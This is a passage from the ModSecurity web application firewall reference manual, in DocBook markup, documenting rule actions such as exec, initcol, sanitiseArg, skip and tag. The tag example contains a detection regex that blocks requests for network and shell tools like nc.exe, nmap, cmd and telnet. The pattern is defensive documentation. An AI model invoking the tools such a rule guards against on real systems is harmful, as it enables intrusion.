<para>Example:</para>
|
|
|
|
<programlisting format="linespecific"># The following is going to execute /usr/local/apache/bin/test.sh
|
|
# as a shell script on rule match.
|
|
SecRule REQUEST_URI "^/cgi-bin/script\.pl" \
|
|
"log,<emphasis>exec:/usr/local/apache/bin/test.sh</emphasis>"
|
|
|
|
# The following is going to process /usr/local/apache/conf/exec.lua
|
|
# internally as a Lua script on rule match.
|
|
SecRule ARGS:p attack log,<emphasis>exec:/usr/local/apache/conf/exec.lua</emphasis></programlisting>
|
|
|
|
<note>
|
|
<para>This directive does not effect a primary action if it exists.
|
|
This action will always call script with no parameters, but providing
|
|
all information in the environment. All the usual CGI environment
|
|
variables will be there. You can have one binary executed per filter
|
|
match. Execution will add the header mod_security-executed to the list
|
|
of request headers. You should be aware that forking a threaded
|
|
process results in all threads being replicated in the new process.
|
|
Forking can therefore incur larger overhead in multi-threaded
|
|
operation. The script you execute must write something (anything) to
|
|
stdout. If it doesn't ModSecurity will assume execution didn't
|
|
work.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>expirevar</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures a collection variable
|
|
to expire after the given time in seconds.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_COOKIES:JSESSIONID "!^$" nolog,phase:1,pass,chain
|
|
SecAction setsid:%{REQUEST_COOKIES:JSESSIONID}
|
|
SecRule REQUEST_URI "^/cgi-bin/script\.pl" \
|
|
"log,allow,setvar:session.suspicious=1,<emphasis>expirevar:session.suspicious=3600</emphasis>,phase:1"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>You should use expirevar actions at the same time that you use
|
|
setvar actions in order to keep the indented expiration time. If they
|
|
are used on their own (perhaps in a SecAction directive) the expire time
|
|
could get re-set. When variables are removed from collections, and there
|
|
are no other changes, collections are not written to disk at the end of
|
|
request. This is because the variables can always be expired again when
|
|
the collection is read again on a subsequent request.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>id</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Assigns a unique ID to the rule
|
|
or chain.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Metadata</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS:Host "@eq 0" \
|
|
"log,<emphasis>id:60008</emphasis>,severity:2,msg:'Request Missing a Host Header'"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>These are the reserved ranges:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>1-99,999; reserved for local (internal) use. Use as you see
|
|
fit but do not use this range for rules that are distributed to
|
|
others.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>100,000-199,999; reserved for internal use of the engine, to
|
|
assign to rules that do not have explicit IDs.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>200,000-299,999; reserved for rules published at
|
|
modsecurity.org.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>300,000-399,999; reserved for rules published at
|
|
gotroot.com.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>400,000-419,999; unused (available for reservation).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>420,000-429,999; reserved for <ulink type=""
|
|
url="http://projects.otaku42.de/wiki/ScallyWhack">ScallyWhack</ulink>.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>430,000-899,999; unused (available for reservation).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>900,000-999,999; reserved for the <ulink
|
|
url="http://www.modsecurity.org/projects/rules/">Core Rules</ulink>
|
|
project.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>1,000,000 and above; unused (available for
|
|
reservation).</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>initcol</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Initialises a named persistent
|
|
collection, either by loading data from storage or by creating a new
|
|
collection in memory.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example: The following example initiates IP address
|
|
tracking.</para>
|
|
|
|
<programlisting format="linespecific">SecAction<emphasis> initcol:ip=%{REMOTE_ADDR}</emphasis>,nolog</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Every collection contains several built-in variables that are
|
|
read-only:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para><literal moreinfo="none">CREATE_TIME</literal> - date/time of
|
|
the creation of the collection.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">IS_NEW</literal> - set to 1 if the
|
|
collection is new (not yet persisted) otherwise set to 0.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">KEY</literal> - the value of the
|
|
initcol variable (the client's IP address in the example).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">LAST_UPDATE_TIME</literal> -
|
|
date/time of the last update to the collection.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">TIMEOUT</literal> - date/time in
|
|
seconds when the collection will be updated on disk from memory (if
|
|
no other updates occur).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">UPDATE_COUNTER</literal> - how many
|
|
times the collection has been updated since creation.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">UPDATE_RATE</literal> - is the
|
|
average rate updates per minute since creation.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>Collections are loaded into memory when the initcol action is
|
|
encountered. The collection in storage will be updated (and the
|
|
appropriate counters increased) <emphasis>only</emphasis> if it was
|
|
changed during transaction processing.</para>
|
|
|
|
<note>
|
|
<para>To create a collection to hold session variables (<literal
|
|
moreinfo="none">SESSION</literal>) use action <literal
|
|
moreinfo="none">setsid</literal>. To create a collection to hold user
|
|
variables (<literal moreinfo="none">USER</literal>) use action
|
|
<literal moreinfo="none">setuid</literal>.</para>
|
|
</note>
|
|
|
|
<note>
|
|
<para>At this time it is only possible to have three
|
|
collections:<literal moreinfo="none"> IP</literal>,<literal
|
|
moreinfo="none"> SESSION</literal>, and <literal
|
|
moreinfo="none">USER</literal>.</para>
|
|
</note>
|
|
|
|
<note>
|
|
<para>Please note that ModSecurity does not implement atomic updates
|
|
of persistent variables at this time. Variables are read from storage
|
|
whenever <literal>initcol</literal> is encountered in the rules and
|
|
persisted at the end of request processing. On busy servers requests
|
|
often run in parallel, leading to situations where one request
|
|
overwrites the changes made by another request. We anticipate
|
|
implementing atomic updates of counter values in a future
|
|
version.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>log</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Indicates that a successful
|
|
match of the rule needs to be logged.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecAction initcol:ip=%{REMOTE_ADDR},<emphasis>log</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This action will log matches to the Apache error log file and the
|
|
ModSecurity audit log.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>logdata</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Allows logging a data
|
|
fragment.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Metadata</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &ARGS:p "@eq 0" "log,<emphasis>logdata:'%{TX.0}'"</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The logdata information appears in the error and/or audit log
|
|
files and is not sent back to the client in response headers. Macro
|
|
expansion is preformed so you may use variable names such as %{TX.0},
|
|
etc. The information is properly escaped for use with logging binary
|
|
data.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>msg</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Assigns a custom message to the
|
|
rule or chain.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Metadata</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule &REQUEST_HEADERS:Host "@eq 0" \
|
|
"log,id:60008<emphasis>,</emphasis>severity:2,<emphasis>msg:'Request Missing a Host Header'"</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The msg information appears in the error and/or audit log files
|
|
and is not sent back to the client in response headers.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>multiMatch</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> If enabled ModSecurity will
|
|
perform multiple operator invocations for every target, before and after
|
|
every anti-evasion transformation is performed.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase
|
|
SecRule ARGS "attack" <emphasis>multiMatch</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Normally, variables are evaluated once, only after all
|
|
transformation functions have completed. With multiMatch, variables are
|
|
checked against the operator before and after every transformation
|
|
function that changes the input.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>noauditlog</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Indicates that a successful
|
|
match of the rule should not be used as criteria whether the transaction
|
|
should be logged to the audit log.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" allow,<emphasis>noauditlog</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>If the SecAuditEngine is set to On, all of the transactions will
|
|
be logged. If it is set to RelevantOnly, then you can control it with
|
|
the noauditlog action. Even if the noauditlog action is applied to a
|
|
specific rule and a rule either before or after triggered an audit
|
|
event, then the transaction will be logged to the audit log. The correct
|
|
way to disable audit logging for the entire transaction is to use
|
|
"<literal moreinfo="none">ctl:auditEngine=Off</literal>"</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>nolog</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Prevents rule matches from
|
|
appearing in both the error and audit logs.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" allow,<emphasis>nolog</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The nolog action also implies noauditlog.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>pass</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Continues processing with the
|
|
next rule in spite of a successful match.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" log,<emphasis>pass</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Transaction will not be interrupted but it will be logged (unless
|
|
logging has been suppressed).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>pause</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Pauses transaction processing
|
|
for the specified number of milliseconds.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403,<emphasis>pause:5000</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This feature can be of limited benefit for slowing down Brute
|
|
Force Scanners, however use with care. If you are under a Denial of
|
|
Service type of attack, the pause feature may make matters worse as this
|
|
feature will cause child processes to sit idle until the pause is
|
|
completed.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>phase</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Places the rule (or the rule
|
|
chain) into one of five available processing phases.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,<emphasis>phase:1</emphasis>,t:removeNulls,t:lowercase
|
|
SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Keep in mind that is you specify the incorrect phase, the target
|
|
variable that you specify may be empty. This could lead to a false
|
|
negative situation where your variable and operator (RegEx) may be
|
|
correct, but it misses malicious data because you specified the wrong
|
|
phase.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>prepend</title>
|
|
|
|
<para><emphasis>Description:</emphasis> Prepends text given as parameter
|
|
to the response body. For this action to work content injection must be
|
|
enabled by setting <literal>SecContentInjection</literal> to
|
|
<literal>On</literal>. Also make sure you check the content type of the
|
|
response before you make changes to it (e.g. you don't want to inject
|
|
stuff into images).</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para><emphasis>Processing Phases:</emphasis> 3 and 4.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting>SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,<emphasis>prepend:'Header<br>'</emphasis>"</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>proxy</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Intercepts transaction by
|
|
forwarding request to another web server using the proxy backend.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" log,<emphasis>proxy:http://www.honeypothost.com/</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>For this action to work, mod_proxy must also be installed. This
|
|
action is useful if you would like to proxy matching requests onto a
|
|
honeypot webserver.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>redirect</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Intercepts transaction by
|
|
issuing a redirect to the given location.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" \
|
|
log,<emphasis>redirect:http://www.hostname.com/failed.html</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>If the <literal moreinfo="none">status</literal> action is present
|
|
and its value is acceptable (301, 302, 303, or 307) it will be used for
|
|
the redirection. Otherwise status code 302 will be used.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>rev</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Specifies rule revision.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Metadata</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_METHOD "^PUT$" "id:340002,<emphasis>rev:1</emphasis>,severity:2,msg:'Restricted HTTP function'"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This action is used in combination with the <literal
|
|
moreinfo="none">id</literal> action to allow the same rule ID to be used
|
|
after changes take place but to still provide some indication the rule
|
|
changed.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>sanitiseArg</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Sanitises (replaces each byte
|
|
with an asterisk) a named request argument prior to audit
|
|
logging.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecAction nolog,phase:2,<emphasis>sanitiseArg:password</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The sanitize actions do not sanitize any data within the actual
|
|
raw requests but only on the copy of data within memory that is set to
|
|
log to the audit log. It will not sanitize the data in the
|
|
modsec_debug.log file (if the log level is set high enough to capture
|
|
this data).</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>sanitiseMatched</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Sanitises the variable (request
|
|
argument, request header, or response header) that caused a rule
|
|
match.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example: This action can be used to sanitise arbitrary transaction
|
|
elements when they match a condition. For example, the example below
|
|
will sanitise any argument that contains the word<emphasis>
|
|
password</emphasis> in the name.</para>
|
|
|
|
<programlisting format="linespecific">SecRule ARGS_NAMES password nolog,pass,<emphasis>sanitiseMatched</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Same note as sanitiseArg.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>sanitiseRequestHeader</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Sanitises a named request
|
|
header.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example: This will sanitise the data in the Authorization
|
|
header.</para>
|
|
|
|
<programlisting format="linespecific">SecAction log,phase:1,<emphasis>sanitiseRequestHeader:Authorization</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Same note as sanitiseArg.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>sanitiseResponseHeader</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Sanitises a named response
|
|
header.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example: This will sanitise the Set-Cookie data sent to the
|
|
client.</para>
|
|
|
|
<programlisting format="linespecific">SecAction log,phase:3,<emphasis>sanitiseResponseHeader:Set-Cookie</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Same note as sanitiseArg.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>severity</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Assigns severity to the rule it
|
|
is placed with.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Metadata</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_METHOD "^PUT$" "id:340002,rev:1,<emphasis>severity:CRITICAL</emphasis>,msg:'Restricted HTTP function'"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Severity values in ModSecurity follow those of syslog, as
|
|
below:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>0 - EMERGENCY</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>1 - ALERT</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>2 - CRITICAL</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>3 - ERROR</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>4 - WARNING</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>5 - NOTICE</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>6 - INFO</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>7 - DEBUG</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>It is possible to specify severity levels using either the
|
|
numerical values or the text values. You should always specify severity
|
|
levels using the text values. The use of the numerical values is
|
|
deprecated (as of v2.5) and may be removed in one of the susequent major
|
|
updates.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>setuid</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Special-purpose action that
|
|
initialises the <literal moreinfo="none">USER</literal>
|
|
collection.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecAction <emphasis>setuid:%{REMOTE_USER}</emphasis>,nolog</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>After initialisation takes place the variable <literal
|
|
moreinfo="none">USERID</literal> will be available for use in the
|
|
subsequent rules.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>setsid</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Special-purpose action that
|
|
initialises the <literal moreinfo="none">SESSION</literal>
|
|
collection.</para>
|
|
|
|
<para><emphasis>Action Group: </emphasis>Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific"># Initialise session variables using the session cookie value
|
|
SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
|
|
SecAction <emphasis>setsid:%{REQUEST_COOKIES.PHPSESSID}</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>On first invocation of this action the collection will be empty
|
|
(not taking the predefined variables into account - see <literal
|
|
moreinfo="none">initcol</literal> for more information). On subsequent
|
|
invocations the contents of the collection (session, in this case) will
|
|
be retrieved from storage. After initialisation takes place the
|
|
variable<literal moreinfo="none"> SESSIONID</literal> will be available
|
|
for use in the subsequent rules.This action understands each application
|
|
maintains its own set of sessions. It will utilise the current web
|
|
application ID to create a session namespace.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>setenv</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Creates, removes, or updates an
|
|
environment variable.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Examples:</para>
|
|
|
|
<para>To create a new variable (if you omit the value <literal
|
|
moreinfo="none">1</literal> will be used):</para>
|
|
|
|
<programlisting format="linespecific">setenv:name=value</programlisting>
|
|
|
|
<para>To remove a variable:</para>
|
|
|
|
<programlisting format="linespecific">setenv:!name</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>This action can be used to establish communication with other
|
|
Apache modules.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>setvar</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Creates, removes, or updates a
|
|
variable in the specified collection.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Examples:</para>
|
|
|
|
<para>To create a new variable:</para>
|
|
|
|
<programlisting format="linespecific">setvar:tx.score=10</programlisting>
|
|
|
|
<para>To remove a variable prefix the name with exclamation mark:</para>
|
|
|
|
<programlisting format="linespecific">setvar:!tx.score</programlisting>
|
|
|
|
<para>To increase or decrease variable value use <literal
|
|
moreinfo="none">+</literal> and <literal moreinfo="none">-</literal>
|
|
characters in front of a numerical value:</para>
|
|
|
|
<programlisting format="linespecific">setvar:tx.score=+5</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>skip</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Skips one or more rules (or
|
|
chains) on successful match.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<para><programlisting format="linespecific">SecRule REQUEST_URI "^/$" "chain,<emphasis>skip:2</emphasis>"
|
|
SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain"
|
|
SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none"
|
|
SecRule &REQUEST_HEADERS:Host "@eq 0" \
|
|
"deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'"
|
|
SecRule &REQUEST_HEADERS:Accept "@eq 0" \
|
|
"log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'"</programlisting></para>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Skip only applies to the current processing phase and not
|
|
necessarily the order in which the rules appear in the configuration
|
|
file. If you group rules by processing phases, then skip should work as
|
|
expected. This action can not be used to skip rules within one chain.
|
|
Accepts a single parameter denoting the number of rules (or chains) to
|
|
skip.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>skipAfter</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Skips rules (or chains) on
|
|
successful match resuming rule execution after the specified rule id or
|
|
marker (see SecMarker) is found.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<para><programlisting format="linespecific">SecRule REQUEST_URI "^/$" "chain,<emphasis>skipAfter:960015</emphasis>"
|
|
SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain"
|
|
SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none"
|
|
SecRule &REQUEST_HEADERS:Host "@eq 0" \
|
|
"deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'"
|
|
SecRule &REQUEST_HEADERS:Accept "@eq 0" \
|
|
"log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'"</programlisting></para>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>SkipAfter only applies to the current processing phase and not
|
|
necessarily the order in which the rules appear in the configuration
|
|
file. If you group rules by processing phases, then skip should work as
|
|
expected. This action can not be used to skip rules within one chain.
|
|
Accepts a single parameter denoting the last rule ID to skip.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>status</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Specifies the response status
|
|
code to use with actions<literal moreinfo="none"> deny</literal>
|
|
and<literal moreinfo="none"> redirect</literal>.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,<emphasis>status:403</emphasis>,phase:1</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Status actions defined in Apache scope locations (such as
|
|
Directory, Location, etc...) may be superseded by phase:1 action
|
|
settings. The Apache ErrorDocument directive will be triggered if
|
|
present in the configuration. Therefore if you have previously defined a
|
|
custom error page for a given status then it will be executed and its
|
|
output presented to the user.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>t</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This action can be used which
|
|
transformation function should be used against the specified variables
|
|
before they (or the results, rather) are run against the operator
|
|
specified in the rule.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase
|
|
SecRule REQUEST_COOKIES:SESSIONID "47414e81cbbef3cf8366e84eeacba091" \
|
|
log,deny,status:403,<emphasis>t:md5,t:hexEncode</emphasis></programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>Any transformation functions that you specify in a SecRule will be
|
|
in addition to previous ones specified in SecDefaultAction. Use of
|
|
"t:none" will remove all transformation functions for the specified
|
|
rule.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>tag</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Assigns custom text to a rule or
|
|
chain.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Metadata</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_FILENAME "\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b" \
|
|
"deny,msg:'System Command Access',id:'950002',<emphasis>tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2'</emphasis>,severity:'2'"</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>The tag information appears in the error and/or audit log files.
|
|
Its intent is to be used to automate classification of rules and the
|
|
alerts generated by rules. Multiple tags can be used per
|
|
rule/chain.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>xmlns</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This action should be used
|
|
together with an XPath expression to register a namespace.</para>
|
|
|
|
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_HEADERS:Content-Type "text/xml" \
|
|
phase:1,pass,ctl:requestBodyProcessor=XML,ctl:requestBodyAccess=On,<emphasis>xmlns:xsd="http://www.w3.org/2001/XMLSchema"</emphasis>
|
|
SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,deny</programlisting>
|
|
</section>
|
|
</section>
|
|
|
|
<section id="08-operators">
|
|
<title>Operators</title>
|
|
|
|
<para>A number of operators can be used in rules, as documented below. The
|
|
operator syntax used the "@" symbol followed by the specific operator
|
|
name.</para>
|
|
|
|
<section>
|
|
<title><literal>beginsWith</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> This operator is a string
|
|
comparison and returns true if the parameter value is found at the
|
|
beginning of the input. Macro expansion is performed so you may use
|
|
variable names such as %{TX.1}, etc.</para>
|
|
|
|
<para>Example:</para>
|
|
|
|
